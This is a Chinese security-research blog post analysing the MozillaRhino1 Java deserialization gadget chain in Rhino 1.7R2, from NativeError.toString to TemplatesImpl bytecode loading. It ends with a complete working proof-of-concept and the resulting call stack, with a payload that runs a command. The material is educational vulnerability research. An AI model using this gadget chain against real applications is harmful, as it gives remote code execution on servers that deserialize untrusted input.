[Java安全]关于Rhino的一些姿势利用
2022-11-11 12:53:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

概述

Rhino 是完全使用 Java 编写的 JavaScript 的开源实现,使 Java 可以调用 js 脚本,实现脚本语言与 Java 语言的数据交换

如果使用了与 Ubuntu 或 Debian 捆绑在一起的 OpenJdk,则可能依然存在此条利用链

这里使用的依赖版本为rhino-javascript-1.7R2

MozillaRhino1

ScriptableObject

首先看看官方的解释

这是Scriptable接口的一个默认实现,这个类提供了很多方法,能够通过这些方法定义JavaScript对象的多种属性和方法

我们看看Scriptable接口的解释

这个接口是所有javaScript对象都必须要实现的,提供了属性的管理和转换执行功能

在这个类中存在有调用链中相关的一个属性slots,是一个使用transient修饰的Slot数组

对于Slot类,他是一个抽象类,我们需要关注他的子类GetterSlot

存在有两个属性getter / setter

接下来我们来看看这条链子的入口点

NativeError

跟进org.mozilla.javascript.NativeError

首先看看该类的继承关系

继承了IdScriptableObject类,进而实现了Serializable接口,能够进行序列化和反序列化的调用

该类的关键点在其toString方法中

调用了类的js_toString方法,传入的参数是this对象,跟进一下

在该方法中通过调用getString方法获取了thisObj中的name和message等相关信息,我们看看getString的逻辑

主要是调用ScriptableObject.getProperty方法获取对应的值,跟进

从注释中我们也可以看见端倪,这个方法的作用就是为了从一个javaScript对象中取出对应的属性名,也算是前面讲到的ScriptableObject类的管理属性中的获取属性的功能了吧(这不是废话吗)

跟进一下具体的实现吧,首先是将传入的javaScript对象传递给了start对象,通过调用javaScript对象的get方法带上属性名和javaScript对象获取结果,即是调用了Scriptable接口的get方法,一直调用到了其父类的父类ScriptableObject#get方法,跟进看看

该方法将返回给定的属性名的值或者返回没有找到的标识,值得注意的是,这里提到如果将会有机会调用getter方法,我们跟进一下看看是如何被调用的

方法的流程如下,首先会调用getSlot方法获取对象的slot对象,如果为空就返回没有找到,如果其不为前面提到的GetterSlot实例,则直接返回对应slot的值

我们关注的主要是为GetterSlot实例的情况,首先会取出对应的getter属性对象值,如果不为空且为MemberBox实例的时候,当该实例中的delegateTo属性为null的时候,在反射调用的时候其对象为start即是最开始的Scriptable对象,其参数为空参数

然而在其delegateTo不为null的时候,将会将属性值作为返回调用的类对象,start作为其参数

上面讲的是MemberBox的时候的逻辑,我们关注一下MemberBox是个什么

很不幸的事,在初始化的过程中,这个delegateTo默认为空且因为其被transient修饰,我们只能走另一个分支,但是对于反射的类对象来说是固定的为传入的Scriptable对象,不能够指定任意的类对象,所以也pass掉

现在我们还有着一条路可以走,那就是那个else语句部分,如果其不为MemberBox实例的时候,如果是Function的实例,将会调用其call方法

接下来就是实现了Function的类的分析

NativeJavaMethod

org.mozilla.javascript.NativeJavaMethod类,刚好是一个实现了Function接口的类

这个类将 Java 方法反映到 JavaScript 环境中并处理方法的重载

看看其构造方法

传入了一个MemberBox对象,将其保存在了methods这个MemberBox[]数组中

前面提到调用了call方法,我们跟进一下call方法的逻辑吧

首先是通过findFunction的调用,通过Context和methods等获取了对应的索引值

之后的关键点在最后的反射的调用,传入对象是javaObject,我们向上追溯可以知道javaObject的由来如下

首先将最开始传递而来的thisObj参数,即是NativeError对象,需要满足其通过Wrapper包装过的,在进入if语句之后,调用其unwrap方法将得到的值传递给javaObject对象

但是在NativeError类中并没有满足条件,但是如果没有得到相应的条件,调用调用其getPrototype方法获取他的成员变量

继续进行判断

总结一些,我们需要找到一个既实现了Scriptable并且又实现了Wrapper接口的一个类

NativeJavaObject

org.mozilla.javascript.NativeJavaObject中就是满足条件的类

在其upwrap方法中

将会返回javaObject属性值,虽然这个属性是被transient修饰的,但是在其readObject方法中能够保存javaObject属性值

所以现在回到了前面讲到了,取到了对应的javaObject对象,之后将会调用MemberBox#invoke方法,传入javaObject对象和参数数组

MemberBox

在该类的invoke方法中,首先调用method方法获取了memberObject属性值

同样的,虽然属性被transient修饰了,但是同样实现了writeMember/readMember方法可以保存memberObject属性

所以我们能够控制任意类的任意方法的调用了

构造

前面提到了该链的入口方法是toString的调用,对于toString的调用,我们并不陌生,很多常见的库都存在对应的toString链,比如CC库/ROME组件/hessian协议中,印象中好像JDK都存在一条toString的调用链

首先构造一个恶意的TemplatesImpl对象

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后就是创建一个NativeJavaObject类对象,使得调用其unwrap方法,返回恶意的TemplatesImpl对象

由于该类在序列化和反序列化中将会调用initMembers方法

对parent属性有相应的处理,所以我们需要在构造类对象的时候为这个属性赋值

Context context          = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);

对于TemplatesImpl链来说,主要是调用其newTransformer方法造成的命令执行

所以我们创建一个NativeJavaMethod类对象,指定其调用的方法名

Method newTransformer   = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

之后实例化一个入口对象NativeError

// 实例化 NativeError 类
Class<?>       nativeErrorClass       = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();

根据前面的分析,反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中

Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);

再之后将 GetterSlot 放入到 NativeError 的 slots 中

Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

之后就是反射将NativeJavaMethod写入GetterSlotgetter属性中

之后再通过链子触发其toString方法

完整的POC

package pers.MozillaRhino;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import pers.util.SerializeUtil;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


public class MozillaRhino1 {
    public static void main(String[] args) {
        try {
            TemplatesImpl tmpl = (TemplatesImpl) SerializeUtil.generatorTemplatesImpl();
            // 使用恶意类 TemplatesImpl 初始化 NativeJavaObject
            // 这样 unwrap 时会返回 tmpl 实例
            // 由于 NativeJavaObject 序列化时会调用 initMembers() 方法
            // 所以需要在实例化 NativeJavaObject 时也进行相关初始化
            Context context = Context.enter();
            NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
            NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);

            // 使用 newTransformer 的 Method 对象实例化 NativeJavaMethod 类
            Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
            NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

            // 实例化 NativeError 类
            Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
            Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
            nativeErrorConstructor.setAccessible(true);
            Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();

            // 使用反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中
            Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
            prototypeField.setAccessible(true);
            prototypeField.set(nativeError, nativeJavaObject);

            // 将 GetterSlot 放入到 NativeError 的 slots 中
            Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
            getSlot.setAccessible(true);
            Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

            // 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里
            // ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样
            Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
            Field getterField = getterSlotClass.getDeclaredField("getter");
            getterField.setAccessible(true);
            getterField.set(slotObject, nativeJavaMethod);

            // 生成 BadAttributeValueExpException 实例,用于反序列化触发 toString 方法
            BadAttributeValueExpException exception = new BadAttributeValueExpException("xxx");
            Field valField = exception.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(exception, nativeError);

            ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(exception);
            SerializeUtil.readObject(byteArrayOutputStream);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:161, MemberBox (org.mozilla.javascript)
call:247, NativeJavaMethod (org.mozilla.javascript)
getImpl:2024, ScriptableObject (org.mozilla.javascript)
get:287, ScriptableObject (org.mozilla.javascript)
get:387, IdScriptableObject (org.mozilla.javascript)
getProperty:1617, ScriptableObject (org.mozilla.javascript)
getString:198, NativeError (org.mozilla.javascript)
js_toString:150, NativeError (org.mozilla.javascript)
toString:110, NativeError (org.mozilla.javascript)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:60, MozillaRhino1 (pers.MozillaRhino)

Reference

https://su18.org/


文章来源: https://xz.aliyun.com/t/11831
如有侵权请联系:admin#unsafe.sh